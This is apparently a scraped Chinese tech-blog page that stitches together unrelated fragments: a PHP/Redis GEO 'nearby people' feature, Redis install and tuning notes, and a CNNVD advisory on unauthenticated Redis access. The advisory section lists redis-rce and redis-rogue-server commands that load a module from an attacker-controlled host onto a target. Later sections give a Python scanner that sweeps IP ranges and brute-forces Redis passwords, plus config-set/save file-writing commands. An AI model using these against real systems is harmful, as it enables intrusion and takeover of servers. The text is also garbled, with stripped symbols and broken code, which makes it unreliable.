当前位置: 首页 > news >正文

cod单页建站工具深圳住房城乡建设局网站首页

cod单页建站工具,深圳住房城乡建设局网站首页,广州注册公司必看,如何用手机制作app附近人 windows安装附近人列表功能mysqlredis GEO CNNVD-201511-230 未授权访问python 多线程 redis大端模式与小端模式IP地址的不同表现形式1.字符串表现形式2. 整数表现形式3.大小端模式下的IP地址 0x01 进入python正题Python的socket库1.socket.socket(family,type)2.socket… 附近人 windows安装附近人列表功能mysqlredis GEO CNNVD-201511-230 未授权访问python 多线程 redis大端模式与小端模式IP地址的不同表现形式1.字符串表现形式2. 整数表现形式3.大小端模式下的IP地址 0x01 进入python正题Python的socket库1.socket.socket(family,type)2.socket.connect(address)3.socket.connect_ex(address)4.socket.settimeout(value)5.socket.sendall(data)6.socket.recv(bufsize)7.socket.close() Python的sys库 0x02 Redis 服务特征识别1.PING命令2.AUTH命令 0x03 代码编写编程实现Redis服务识别加入主函数密码字典爆破批量扫描同一网段下的主机多线程扫描 缓存redis初识#节点服务器redis##redis运维# 安装redis持久化 与 常见问题#开发运维#fork本身 解决方案 死活连接不上改完配置一定要重启重启重启 深入 电商秒杀系统实战Redis集成#添加依赖#![在这里插入图片描述](https://img-blog.csdnimg.cn/20191202170212204.png)#添加配置##创建redisconfig# windows安装 Ruoyi-SpringCloud版本-2.安装redis服务端和客户端-win7 附近人列表功能 方案优势缺点Mysql外接正方形逻辑清晰实现简单支持多条件筛选效率较低不适合大数据量不支持按距离排序MysqlGeohash借助索引有效提高效率支持多条件筛选不支持按距离排序存在数据库瓶颈RedisGeohash效率高集成便捷支持距离排序不适合复杂对象存储不支持多条件查询 mysql 轻量级 1w 以内 经纬度 --- 四个临界点redis GEO GEO 就是 Geolocation 的简写形式代表地理坐标。Redis 在 3.2 版本中加入了对 GEO 的支持允许存储地理坐标信息帮助我们根据经纬度来检索数据。 https://zhuanlan.zhihu.com/p/651015058 ## geohash 地理位置操作 GEOADD 将指定的地理空间位置 经度纬度 名称 存储到指定key GEORADIUS 以给定的经纬度为中心 找出某一半径内元素 ## thinkphpphp// 假设您已经获取了用户的经纬度和需要搜索的距离范围 $lng $_GET[lng]; // 用户的经度 $lat $_GET[lat]; // 用户的纬度 $distance $_GET[distance]; // 需要搜索的距离范围单位为千米// 计算经纬度范围 $earth 6378.137; // 地球半径 $pi 3.1415926535898; // 圆周率 $lng_min $lng - rad2deg($distance / $earth / cos(deg2rad($lat))); $lng_max $lng rad2deg($distance / $earth / cos(deg2rad($lat))); $lat_min $lat - rad2deg($distance / $earth); $lat_max $lat rad2deg($distance / $earth);// 查询商品表根据距离排序取前10条数据 $goods Db::name(goods)-field(*, (2 * $earth * asin(sqrt(pow(sin($pi * ($lat - lat) / 360), 2) cos($pi * $lat / 180) * cos(lat * $pi / 180) * pow(sin($pi * ($lng - lng) / 360), 2)))) as distance)-where(lng, between, [$lng_min, $lng_max])-where(lat, between, [$lat_min, $lat_max])-order(distance, asc)-limit(10)-select();// 返回推荐商品的数据 return json($goods);html headmeta charsetutf-8title商品推荐/titlestyle.goods {display: flex;flex-wrap: wrap;justify-content: space-around;margin: 20px;}.item {width: 200px;height: 300px;border: 1px solid #ccc;margin: 10px;padding: 10px;box-sizing: border-box;}.item img {width: 180px;height: 180px;}.item h3 {font-size: 16px;margin: 10px 0;}.item p {font-size: 14px;color: #666;}/style /head bodydiv classgoods/divscript// 假设您已经获取了用户的经纬度和需要搜索的距离范围var lng 120.15; // 用户的经度var lat 30.28; // 用户的纬度var distance 10; // 需要搜索的距离范围单位为千米// 发送Ajax请求获取推荐商品的数据var xhr new XMLHttpRequest();xhr.open(GET, http://localhost/goods?lng lng lat lat distance distance);xhr.onreadystatechange function() {if (xhr.readyState 4 xhr.status 200) {var data JSON.parse(xhr.responseText);// 渲染商品列表var goods document.querySelector(.goods);goods.innerHTML ;for (var i 0; i data.length; i) {var item document.createElement(div);item.className item;item.innerHTML img src${data[i].image} alt${data[i].name}h3${data[i].name}/h3p价格${data[i].price}元/pp距离${data[i].distance.toFixed(2)}千米/p;goods.appendChild(item);}}};xhr.send();/script /body /htmlCNNVD-201511-230 未授权访问 一、漏洞描述 Redis 是美国 RedisLabs 公司赞助的一套开源的使用 ANSIC 编写、支持网络、可基于内存亦可持久化的日志型、键值Key-Value存储数据库并提供多种语言的 API。 Redis 中存在未授权访问漏洞该漏洞源于程序在默认配置下会绑定在 6379 端口这导致其直接暴露在公网中可以接受来自任何地址发来的请求。 当程序没有开启认证选项端口对外开放时攻击者可借助目标服务器访问权限利用该漏洞未授权访问 Redis 并读取 Redis 的数据在服务器上写入公钥进而使用对应的私钥直接登录目标服务器。 二、漏洞影响 Redis 5.0.5 三、漏洞复现 1、环境搭建 使用 Vulhub 在服务器上搭建 cd /vulhub/redis/4-unacc docker-compose up -d 12 以开放在默认的 6379 端口在攻击机使用redis-cli -h target-ip即可进行连接 2、漏洞复现 测试命令执行 得到回显可见存在未授权访问漏洞。 四、漏洞POC 使用 Redis 客户端连接 redis-cli -h 0.0.0.0 1 执行info命令。 五、提权 https://blog.51cto.com/jiachen/2514921 https://www.cnblogs.com/zpchcbd/p/11739232.html 六、整改 https://blog.csdn.net/qq_40907977/article/details/106207488 https://blog.csdn.net/weixin_40412037/article/details/120347458 python3 redis-rce.py -r 115.29.67.37 -L 101.43.159.27 -f ./module.so https://blog.csdn.net/Seizerz/article/details/103139905 https://www.cnblogs.com/1008612mrzou/p/14832260.html redis-rogue-server git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1 https://mp.weixin.qq.com/s/xMOlwnU5Jac25GPNnpD8Hg python 多线程 redis 大端模式与小端模式 在内存中数据的表示模式 分为两种大端模式和小端模式。 大端模式 指数据的高字节保存在内存的低地址中 而数据的低字节保存在内存的高地址中。 小端模式 数据的高字节保存在内存的高地址中 而数据的低字节保存在内存的低地址中 这种存储模式将地址的高低和数据位权有效地结合起来 高地址部分权值高低地址部分权值低和我们的逻辑方法一致。 在小端模式表示法下整数0x78563412在内存中的表示 注意Intel系列的CPU采用小端模式而当数据在网络上传输时采用大端模式。 IP地址的不同表现形式 理解这些表现形式以及它们之间的相互转换方法是遍历指定范围内的IP地址的一个重要方法。 1.字符串表现形式 也就是通常所说的点分十进制形式如192.168.1.1这是我们最熟悉的一种表现形式。 2. 整数表现形式 我们知道IPv4是32位的而8位可以表示1个字节 也就是说IPv4地址可以表示为4字节的数据刚好可以表示为一个无符号int类型的数据。 那么字符串形式的IP地址如何转换为整数数值呢 因为点分十进制的IP中每个被点分隔的数据占用1字节 可以表示的范围是0~255所以可以认为这是一个256进制的数这样转换就非常简单了。 以IP地址220.181.111.188为例其整数值为3702878140计算过程为 256^3*220256^2*181256^1*111256^0*188256*256*256*220256*256*181256*1111883702878140实际上220.181.111.188这个IP地址是pingwww.baidu.com得来的 所以在浏览器中访问http://3702878140/实际上访问的就是百度了。 3.大小端模式下的IP地址 因为涉及到网络传输所以当IP地址转换为数值形式时 还存在大端和小端两种不同的形式。 我们计算出来的3702878140是小端模式表示法下的值 在当做socket参数使用时需要转换为大端模式。 0x01 进入python正题 Python的socket库 Python提供了一个socket库用于网络相关的编程这里对其中几个重要的函数进行介绍 1.socket.socket(family,type) 用于创建一个socket family参数指定套接字的家族在IPv4网络编程中值固定为socket.AF_INET type参数表明套接字的类型是UDP还是TCP UDP使用socket.SOCK_DGRAMTCP使用socket.SOCK_STREAM。 2.socket.connect(address) 与指定的服务器建立通信连接 其中address是一个元组(ip,port) 其中IP为字符串port为数值如(“192.168.1.1”,6379)。 如果连接失败该函数会抛出一个异常。 3.socket.connect_ex(address) 与指定的服务器建立通信连接 其中address是一个元组(ip,port)其中IP为字符串port为数值如(“192.168.1.1”,6379)。 连接成功时函数返回0 否则返回非0值。 4.socket.settimeout(value) 当使用socket.connect()或socket.connect_ex()连接服务器时 在连通之前会阻塞一段时间如果无法连通的话可能会阻塞很久这会浪费许多时间。 因此可以使用settimeout函数设置一个超时时间 value是秒钟数表示如果在这个时间内无法连接则直接返回。 5.socket.sendall(data) 立即把参数data指定的数据发送给远程服务器其中data是字符串类型 其中可以存储任意的二进制数据。 6.socket.recv(bufsize) 从远程服务器接收bufsize字节的数据。 7.socket.close() 关闭与远程服务器的socket连接。 Python的sys库 在使用C语言编写命令行程序是 main函数提供了两个参数intargc和char**argv 其中argc指定命令行参数的个数argv则存储具体的命令行参数。 其中argv[0]是命令行程序本身的名字argv[1]存储第一个命令行参数argv[2]存储第二个命令行参数以此类推。 在Python中可以通过sys库的argv参数获取命令行参数的值 即sys.argv[0]、sys.argv[1]等通过len(sys.argv)可以获取命令行参数的个数。 0x02 Redis 服务特征识别 在编写安全扫描器之前我们遇到的第一个问题是 如何识别指定的端口上运行的服务是否是Redis服务 首先Redis服务并不一定只能在6379端口上进行监听 这个选项可以在Redis配置文件redis.conf里面进行修改 其次即使6379端口处于开放状态我们也需要对其进行判断是否是Redis服务。 扫描器一般都通过端口返回的交互数据来判别端口上运行的具体服务识别Redis服务也不例外。 首先介绍一下Redis的PING和AUTH命令。 1.PING命令 在成功连接上Redis服务器之后客户端往服务器发送PING命令服务器会给客户端返回PONG这个字符串。 2.AUTH命令 如果Redis服务设置了连接密码那么首先需要通过AUTH命令确认登陆密码。 从上面的操作步骤我们已经可以总结出识别Redis服务的方法了 1.指定的端口是否开放TCP服务 2.执行PING命令 a)如果提示 (error)NOAUTHAuthenticationrequired.表明是Redis服务且需要登录密码 b)如果提示 PONG表明是Redis服务且无需登录密码c)提示其他结果表明不是Redis服务 3.如果需要登录密码执行AUTH命令 a)如果提示 (error)ERRinvalidpassword表明密码错误b)如果提示 OK表明密码正确 0x03 代码编写 编程实现Redis服务识别 在编写代码之前我们还需要知道的一点是 客户端通过socket往服务器发送命令时需要在后面加上回车换行即\r\n 我们在使用redis-cli发送PING命令时redis-cli会自动加上\r\n拼接成PING\r\n。 在编程实现扫描器时我们需要自己加上\r\n。 识别Redis服务的代码如下所示 #判断是否为redis服务 def is_redis_server(ip, port):参数ip:字符串形式IP地址参数port数值形式端口号如6379返回值-1 端口未开放或者开放但不是Redis服务0 为Redis服务但需要密码1 为Redis服务不需要密码# 创建一个TCP类型的sockets socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(2.0)# 尝试连接端口如果返回值不为0表示端口没有开放if s.connect_ex((ip, port)) ! 0:return -1s.sendall(PING\r\n)msg s.recv(1024)res -1# 如果返回值包含PONG成功且无密码 ​if msg.find(PONG) ! -1:res 1# 如果返回值如下则表示需要密码elif msg.find(NOAUTH) ! -1:res 0# 否则不是Redis服务res -1 ​# 关闭socket链接s.close()return res在上面的代码中我们没有使用connect函数连接到目标服务器而是使用了connect_ex函数。 因为前者在连接失败的情况下会抛出一个异常 我们需要在代码中加入异常处理的代码而使用connect_ex直接判断返回值即可 可以使得代码更加的简洁。 加入主函数 if __name__ __main__:ip 127.0.0.1port 6379res is_redis_server(ip,port)print res密码字典爆破 Redis并没有限制客户端输入登录密码的次数。出于安全检测的目的我们只对其进行弱口令检查 断的往Redis服务器发送AUTH命令即可 如果返回结果包含字符串invalidpassword表明密码错误 如果返回结果包含字符串OK则表明密码正确。 爆破密码的代码封装在check_password函数中函数首先读取dict.txt文件的密码列表 随后遍历列表中的密码并生成AUTH命令 将生成的AUTH命令发送到服务器 根据服务器的返回信息判断密码是否正确 如果返回的信息包含OK则表明密码正确。具体的代码如下所示 def Check_password(s):s:已连接redis服务器的socket返回值密码字符串失败返回Nonefp open(dict.txt) #打开密码字典passwords fp.readline()fp.close()for pwd in passwords:#删除末尾的“\r”,\n,\r\npwd pwd.strip()s.sendall(AUTH %s \r\n %pwd)msg s.recv(1024)if msg.find(OK) ! -1:return pwdreturn None只需要稍微修改is_redis_server函数即可 在其中加入对check_password的调用 批量扫描同一网段下的主机 网段扫描功能即可以指定要扫描的IP范围。 这里扫描IP范围直接通过命令行参数指定如10.1.1.1 10.1.1.255表明共有255台主机需要扫描 那么如何遍历这255个IP地址呢 1.将字符串形式的点分十进制IP地址转换为数值 首先使用split将IP地址进行分离比如10.1.1.47.split(“.”) 这样各个点之间的数据就分离了 得到列表[“10”,“1”,“1”,“47”] 随后将列表中的元素从字符串转换为int 并乘以相应的系数后累加代码如下 def ip_str2int(ip): tmp ip.split(.)a1 int(tmp[0])*256*256*256a2 int(tmp[1])*256*256a3 int(tmp[2])*256a4 int(tmp[3])ip a1 a2 a3 a4return ip2.通过步骤1我们就可以计算出字符串IP地址对应的数值范围了 通过for循环遍历这个范围即可。 遍历得到的数值IP还需要转换为字符串这里通过位运算中的“与操作”以及“移位操作”实现。 例如IP地址17.34.51.68对应的数值形式为0x1122334416进制 那么0x112233440xFF000000得到0x11000000 再向右移动24位就可以得到0x11 即10进制的17。对应的代码如下 def ip_int2str(ip):a1 (ip0xFF000000)24a2 (ip0x00FF0000)16a3 (ip0x0000FF00)8a4 ip0x0000000FFip %d.%d.%d.%d %(a1,a2,a3,a4)return ip网段范围扫描的代码封装在scan函数中其中beg_ip通过sys.argv[1]获取end_ip通过sys.argv[2]获取具体的代码如下所示 def scan(beg_ip,end_ip):对指定ip返回内的主机进行检测#将点分十进制ip,转化成数值beg_ip ip_str2int(beg_ip)end_ip ip_str2int(end_ip)#遍历数值ip返回for ip in range(beg_ip,end_ip1):ip ip_int2str(ip)res,pwd is_redis_server(ip,6379)if res 1:print(ip)elif res0 and pwd!None:print (%s - %s%(ip,pwd))print(Scan Done!)添加主函数 if __name__ __main__:if len(sys.argv) 3:scan(sys.argv[1],sys.argv[2])多线程扫描 单线程的代码进行封装然后使用python的threading库便可以轻松实现多线程任务 缓存redis info //查看信息 flushall //删除所有数据库内容 flushdb //刷新数据库 KEYS * //查看所有键使用select num可以查看键值数据 set test whoami //设置变量 config set dir dirpath //设置路径等配置 config get dir/dbfilename //获取路径和数据配置信息 save //保存 get 变量 //查看变量名出初识 #节点服务器redis# 高性能Key-Value读写分离来承载读请求QPS超过10万多种数据结构 (五大基础 字符串哈希列表序列有序集合 StringHashListSetSorted Set 衍生bitmaps、hyperloglog、geo 丰富功能 pipeline提高客户端并发 发布订阅 geo 位图 支持Lua脚本 简单事务 高可用 分布式 Redis Sentinel(哨兵) Redis Cluster Codis开源 单线程 批量处理数据结构 应用场景各个语言 客户端使用 #redis运维# 性能优化分布式基础 服务/客户 交互故障 困扰解决——高可用 分布式特性 ——伸缩 开源 源码定制化 键值 存储 服务系统 —— key-Value 特性 两种持久化方式(RDBAOF) 安装 ping www.baidu.comwget http://download.redis.io/releases/redis-4.0.6.tar.gztar -xzf redis-4.0.6.tar.gz ##### ln -s redis-4.0.6 redis mv redis-4.0.6 redis cd redismake make installcd /root/redis/vi redis.confcd /root/redis/utils./install_server.sh/root/redis/redis.conf/root/redis/redis.log/root/redis/datacat /root/redis/redis.logcd /etc mkdir rediscp /root/redis/redis.conf /etc/redis/6379.confcp /root/redis/utils/redis_init_script /etc/init.d/redisdcd /etc/init.dvi redisdchkconfig redisd onservice redisd startps -ef |grep redis根据各种应用场景 去改就好 redis持久化 与 常见问题 #开发运维# fork操作——子进程开销与优化 fork本身 1同步操作 虽然fork同步操作是非常快的但是如果需要同步的数据量过大fork就会阻塞redis主进程。 2与内存量息息相关 内存越大fork同步数据耗时越长当然也跟服务器有关服务器有物理机也有虚拟机。 3info:latest_fork_usec 使用此命令可以查看持久化花费的时间如果持久化时间过长就会造成卡顿。 例如如果redis此时QPS上万此时redis正在持久化而且持久化时间比较长1s或者10几秒这个时候就会严重阻塞redis。2、改善fork 1优先使用物理机或者高效的虚拟机支持fork操作 2控制redis实际最大可用内存maxmemory 3合理配置linux内存分配策略vm.overcommit_memory1 4降低fork频率例如放宽AOF重写自动触发时机减少不必要的全量复制。 进程外开销AOF追加阻塞 ——造成客户端超时单机 多部署 实例 解决方案 考虑到redis一般都是部署在服务器上作为服务存在的。所以本文的解决方案都是持久性配置不是临时配置。 第一个警告 The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128. 对一个高负载的环境来说tcp设置128这个值太小了。 然后我们可以手动设置或者设置永久值.所以执行 echo 511 /proc/sys/net/core/somaxconn但是这个只是暂时的。如果想要永久解决打开/etc/sysctl.conf vi /etc/sysctl.conf在这里面添net.core.somaxconn 1024 然后执行sysctl -p 就可以永久消除这个warning 第二个警告overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add ‘vm.overcommit_memory 1’ to/etc/sysctl.conf and then reboot or run the command ‘sysctl vm.overcommit_memory1’ for this to take effect. 将vm.overcommit_memory 1添加到/etc/sysctl.conf中然后执行sysctl -p生效配置。 sysctl -p第三个警告you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix thisissue run the command ‘echo never /sys/kernel/mm/transparent_hugepage/enabled’ as root, and add it to your /etc/rc.local in order to retain thesetting after a reboot. Redis must be restarted after THP is disabled. 将 echo never /sys/kernel/mm/transparent_hugepage/enabled 添加到/etc/rc.local中 vi /etc/rc.local然后执行source /etc/rc.local生效配置 cd /etc/init.dsystemctl restart redis_6379死活连接不上 禁用防火墙 在RHEL7开始使用systemctl工具来管理服务程序包括了service和chkconfig [rootrhel7 ~]# systemctl stop firewalld.service [rootrhel7 ~]# systemctl disable firewalld.service [rootrhel7 ~]# systemctl status firewalld.service 启动一个服务systemctl start firewalld.service关闭一个服务systemctl stop firewalld.service重启一个服务systemctl restart firewalld.service显示一个服务的状态systemctl status firewalld.service在开机时启用一个服务systemctl enable firewalld.service在开机时禁用一个服务systemctl disable firewalld.service查看服务是否开机启动systemctl is-enabled firewalld.service;echo $?查看已启动的服务列表systemctl list-unit-files|grep enabled关闭防火墙 改完配置一定要重启重启重启 深入 前题 redis 集群搭建伸缩细节 扩容 、缩容客户端使用单机 Sentinel Cluster 客户端改动JedisPool JedisSentinelPool 连接自身方式连接 节点迁移 槽迁移 电商秒杀系统实战Redis集成 对象序列化 fastjson 明文可读json #添加依赖# #添加配置# #创建redisconfig# 生成 get方法添加 redis server
http://www.w-s-a.com/news/227374/

相关文章:

  • 服务器不是自己的做违法网站videopro wordpress
  • 北京建网站的公司哪个比较好网站开通告知书
  • 网站负责人 主体负责人黑龙江 建设监理协会网站
  • 手机网站焦点图代码建设工程质量检测网站
  • 墙绘做网站推广有作用没html网页制作用什么软件
  • 企业做网站有用吗网站推广的常用方法有哪些?
  • 景安做网站教程互联网小程序开发
  • 桂林北站离阳朔多远贵州省建设厅住房和城乡建设官网二建考试
  • 浙江省建设厅 网站是多少wordpress淘宝客一键
  • 网站流量少怎么做5个不好的网站
  • 随州网站建设有限公司个人申请注册公司需要多少钱
  • 东莞做商城网站建设wordpress批量下载外链图片
  • 新网站建设运营年计划书仓山区建设局招标网站
  • 网站开发天津网站建设项目组织图
  • 网站开发认证考试石家庄高端网站开发
  • 网站建设第一步怎么弄站酷网页
  • 设备网站模板江西的赣州网站建设
  • 邯郸营销型网站国际招聘人才网
  • hexo wordpress 主题织梦网站优化教程
  • 网站建设方案及上海市建设协会网站
  • 轴承外贸网站怎么做南宁网站排名优化公司哪家好
  • 沈阳企业网站建站郴州优化公司
  • cctv5+手机在线直播观看seo关键词排名优化方法
  • 网站建设公司怎么谈单怎么开通微信小程序商店
  • 深圳做网站案例一个服务器可以备案几个网站
  • 网络营销策划名词解释泉州百度推广排名优化
  • 一键生成网站的软件互联网营销师是干什么
  • 网站后台管理水印怎么做手机优化设置
  • 哪个网站做图文素材多wordpress++优化
  • 建设网站就选用什么样的公司网站类型分类有哪些